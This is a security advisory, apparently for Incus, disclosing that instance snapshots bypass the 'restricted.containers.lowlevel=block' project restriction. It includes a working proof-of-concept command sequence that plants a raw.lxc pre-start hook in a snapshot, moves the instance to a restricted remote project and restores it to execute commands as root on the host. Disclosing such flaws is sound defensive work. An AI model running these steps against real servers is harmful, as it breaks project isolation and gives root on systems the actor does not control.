Summary Instance snapshots ignore the "restricted.containers.lowlevel=block" setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as "raw.lxc" and "raw.qemu". Details Instance snapshots ignore the "restricted.containers.lowlevel=block" setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as "raw.lxc" and "raw.qemu". As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. PoC remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.